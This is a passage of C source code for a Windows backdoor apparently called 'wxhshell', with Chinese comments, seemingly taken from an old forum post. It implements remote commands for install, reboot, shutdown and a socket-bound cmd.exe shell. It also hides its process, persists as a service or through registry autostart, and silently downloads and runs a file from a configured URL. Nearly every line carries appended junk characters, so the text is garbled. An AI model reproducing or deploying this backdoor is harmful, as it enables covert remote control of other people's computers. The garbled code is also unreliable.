      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >BWe"{;  
    break; #W9{3JGUY  
  } L_`D  
  // 安装 .+) AeGh  
  case 'i': { `eEiSf  
    if(Install()) `(uN_zvH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); J.(mg D  
    else Yr)<1.K4,M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <sTY<iVR  
    break; 7S/\;DF  
    } B4/\=MXb  
  // 卸载 ()^tw5e'^  
  case 'r': { +aQM %~  
    if(Uninstall()) ~F " w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kD46Le++B  
    else 719lfI&s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ua.%?V  
    break; f = 'AI  
    } hG2WxYk  
  // 显示 wxhshell 所在路径 |mQC-=6t;Y  
  case 'p': { qm/#kPlM  
    char svExeFile[MAX_PATH]; H krhd   
    strcpy(svExeFile,"\n\r"); XUVBD;"f!  
      strcat(svExeFile,ExeFile); v%muno,  
        send(wsh,svExeFile,strlen(svExeFile),0); uCx6/ n6'  
    break; ujWC!*W(Q  
    } oD3]2o/  
  // 重启 9\Md.>  
  case 'b': { 1\aV4T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K BlJJH`z{  
    if(Boot(REBOOT)) /$d #9Uv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y )68  
    else { )YVs=0j  
    closesocket(wsh); $sFqMy  
    ExitThread(0); #AH gY.  
    } l0r^LK$  
    break; B{K_?ae!  
    } .npD<*  
  // 关机 >r>pM(h  
  case 'd': {  c?*x2Vk  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KK?R|1VK9  
    if(Boot(SHUTDOWN)) $}EI3a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >~O/ZDu/@  
    else { /%F5u}eW  
    closesocket(wsh); p4uN+D `.U  
    ExitThread(0); DfjDw/{U3L  
    } s54AM]a{j  
    break; bg2r  
    } vt#&YXu{A  
  // 获取shell zmg :Z p=  
  case 's': { 1()pKBHf  
    CmdShell(wsh); T"e"?JSRJ  
    closesocket(wsh); )TcD-Jr  
    ExitThread(0); ^7Ebg5<  
    break; !jR 1!i   
  } p'kB1)~|  
  // 退出 Jq:Wt+a  
  case 'x': { qFp]jbU  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  GPrq(  
    CloseIt(wsh); /~{ fPS  
    break; :j[=   
    } Bxf&gDwjgr  
  // 离开 IN@ =UAc&  
  case 'q': { \;Sl5*kr  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w&Z.rB?  
    closesocket(wsh); fskc'%x  
    WSACleanup(); nj#kzD[n>  
    exit(1); 7yal  T.  
    break; ~X-v@a  
        } Xc9NM1bp=  
  } {>d\  
  } >CYz6G j  
**]=!W  
  // 提示信息 V8 G.KA "  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~3$:C#"Dl  
} 8aY}b($*ZI  
  } m[%P3  
q4niA  
  return; WS+uKb^<  
} &S[>*+}{+  
z J V>;  
// shell模块句柄 G)gPL]C0  
int CmdShell(SOCKET sock) BSY7un+`:  
{ b~;M&Y  
STARTUPINFO si; {tuGkRY2 ~  
ZeroMemory(&si,sizeof(si)); UAds$ 9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hM[I}$M&O  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '/fueku  
PROCESS_INFORMATION ProcessInfo; fS4 Ru  
char cmdline[]="cmd"; EdCcnl?R6  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Me-H'Mp~  
  return 0; xgIb4Y%  
} ,o\~d ?4  
={I(i6  
// 自身启动模式 qdZo cTf'  
int StartFromService(void) Aj+0R?9tG  
{ : n\D  
typedef struct RCMO?CBe  
{ /< \do 1  
  DWORD ExitStatus; .WS7gTw  
  DWORD PebBaseAddress; 7Pr5`#x#  
  DWORD AffinityMask; :+ AqY(Gz  
  DWORD BasePriority; ~Dj_N$_+9  
  ULONG UniqueProcessId; Lmc"q FzK  
  ULONG InheritedFromUniqueProcessId; lmx'w  
}   PROCESS_BASIC_INFORMATION; {WuUzq`  
#Qd"d3QG  
PROCNTQSIP NtQueryInformationProcess; Gu%}B@4^  
y<)q;fI7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )C>M74Bt  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $kh6-y@  
)z7+%nTO  
  HANDLE             hProcess; ?r R, h{~  
  PROCESS_BASIC_INFORMATION pbi; H?j}!JzAC  
-l$-\(,M`#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;CA7\&L>  
  if(NULL == hInst ) return 0; nn/_>%Y  
<a=k"'0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ig?Tj4kD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); okD7!)cr=  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !qJ|`o Y  
h|.*V$3  
  if (!NtQueryInformationProcess) return 0; =mh)b]].4\  
6}q# c  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $1myf Z  
  if(!hProcess) return 0; ^qPS&G  
bdr !|WZ  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rY(^6[!  
\E,Fe:/g  
  CloseHandle(hProcess); yQ+C}8r5  
{pEbi)CF,}  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U=ie| 3  
if(hProcess==NULL) return 0; v,mn=Q&9  
?)XPY<  
HMODULE hMod; ^BQ*l5K  
char procName[255]; |79n 1;+\?  
unsigned long cbNeeded; k&3'[&$I*,  
'q{|p+  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); m>-(c=3  
:_+Fe,h>|  
  CloseHandle(hProcess); O\zGN/!  
}t.VH:02y  
if(strstr(procName,"services")) return 1; // 以服务启动 0V?:5r<  
-_~T;cj6  
  return 0; // 注册表启动 6Er%td)f  
} \:91BQP c  
=]F15:%Z q  
// 主模块 \B D'"  
int StartWxhshell(LPSTR lpCmdLine) qGKQrb,K  
{ FrD,)Ad8Q  
  SOCKET wsl; ahm@ +/2  
BOOL val=TRUE; LxxFosi8  
  int port=0; Fd@:*ER  
  struct sockaddr_in door; Ov9kD0S  
Zk n1@a  
  if(wscfg.ws_autoins) Install(); >-YWq  
3}X;WE `  
port=atoi(lpCmdLine); |%-:qk4rG  
oj~0zJI  
if(port<=0) port=wscfg.ws_port; NQhlb"Ix  
S t0AV.N1  
  WSADATA data; [)83X\CO  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7eekTh, ?  
U^{'"x+  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   I4^}C;p0?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); $NhKqA`0  
  door.sin_family = AF_INET; ;&G8e* bM2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 9% AL f 9  
  door.sin_port = htons(port); m8njP-CZ  
rWMG_eP:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { PEX(*GS  
closesocket(wsl); c`h/x>fa  
return 1; C/x<_VJzN/  
} @}@J$ g  
I!sB$=n  
  if(listen(wsl,2) == INVALID_SOCKET) { -g]g  
closesocket(wsl); #v`J]I)$  
return 1; y #Xq@  
} !{L`Zd;C>w  
  Wxhshell(wsl); ce\ F~8y  
  WSACleanup(); \Q<Ur&J]%  
0 SeDBs  
return 0; G6L /Ny3>_  
|KxFi H  
} wIT}>8o  
)Vb_0n=^  
// 以NT服务方式启动  ?[G!6  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) QcDWVM'v  
{ xl~%hwBd  
DWORD   status = 0; S<V__Sv  
  DWORD   specificError = 0xfffffff; PME ?{%&  
0cm+:  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \#; -C<[b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; gr")Jw7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; r&t)%R@q  
  serviceStatus.dwWin32ExitCode     = 0; =?/RaK/ w  
  serviceStatus.dwServiceSpecificExitCode = 0; *n=NBkq%/!  
  serviceStatus.dwCheckPoint       = 0; xW;-=Q  
  serviceStatus.dwWaitHint       = 0; 2So7fZa^wg  
U ExK|t  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yEe4{j$  
  if (hServiceStatusHandle==0) return; UldG0+1d  
/Ma"a ^  
status = GetLastError(); oG)JH)!  
  if (status!=NO_ERROR) ,HFoy-Yq  
{ }#/,nJm'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v"6ij k&(  
    serviceStatus.dwCheckPoint       = 0; eSgCS*}0$z  
    serviceStatus.dwWaitHint       = 0; @P^8?!i+  
    serviceStatus.dwWin32ExitCode     = status; 0=r.I}x  
    serviceStatus.dwServiceSpecificExitCode = specificError; RqIic\aD  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /f7Fv*z/  
    return; `"<} B"s  
  } 6/Coi,om  
G,8LF/sR  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^rc!X]C9  
  serviceStatus.dwCheckPoint       = 0; uwl;(zwh_  
  serviceStatus.dwWaitHint       = 0; G2%%$7Jj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dw60m,m  
} U'st\Dt  
I4Ys ,n  
// 处理NT服务事件,比如:启动、停止 j 6~#_t[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &Oq& ikw  
{ MT,LO<.  
switch(fdwControl) /2&jId  
{ }7Si2S  
case SERVICE_CONTROL_STOP: 1X4v:rI  
  serviceStatus.dwWin32ExitCode = 0; #qk A*WP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #`C ;@#xr  
  serviceStatus.dwCheckPoint   = 0;  @t  
  serviceStatus.dwWaitHint     = 0; DdTTWp/  
  { mlR*S<Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y) >GwFK$  
  } a r#p7N  
  return; eyZ /%4'q  
case SERVICE_CONTROL_PAUSE: 7mSVL\\^  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^3Ni  
  break; N4%q-fi  
case SERVICE_CONTROL_CONTINUE: ~h] <E  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; RpE69:~PV  
  break; d FF[2  
case SERVICE_CONTROL_INTERROGATE: Nkt(1?:-'  
  break; Eg?6$[U`8<  
}; W^W^5-'"D,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J3fcnI  
} 'Pudy\Ab  
$-$^r;  
// 标准应用程序主函数 oXg KuR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;/W;M> ^  
{ (63_  
FLO#!G  
// 获取操作系统版本 )k0P' zGb  
OsIsNt=GetOsVer(); ~O~c^fLH(B  
GetModuleFileName(NULL,ExeFile,MAX_PATH); WlF"[mU-  
M$z.S0"  
  // 从命令行安装 &j,rq?eh$  
  if(strpbrk(lpCmdLine,"iI")) Install(); F7`3,SzHp  
Gw*n,*pz  
  // 下载执行文件 :0.Z/s -  
if(wscfg.ws_downexe) { adh=Kp e!w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) u0^: XwZ!  
  WinExec(wscfg.ws_filenam,SW_HIDE); E0^~i:M k  
} /'IOi`d  
 UfEF>@0  
if(!OsIsNt) { 1O1/P,u+  
// 如果时win9x,隐藏进程并且设置为注册表启动 4!<8Dd  
HideProc(); " z\T$/  
StartWxhshell(lpCmdLine); }+0{opY4R  
} ;CD.8f]N  
else cs7T AX  
  if(StartFromService()) 7z"xjA  
  // 以服务方式启动 {T Z7>k  
  StartServiceCtrlDispatcher(DispatchTable); V+X>t7.Q  
else 2JZf@x+}  
  // 普通方式启动 ;}{%|UAsx  
  StartWxhshell(lpCmdLine); <jT6|2'  
K*Zf^g m  
return 0; k7Fa+Y)K7  
}
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只看该作者 1 发表于: 2006-10-10
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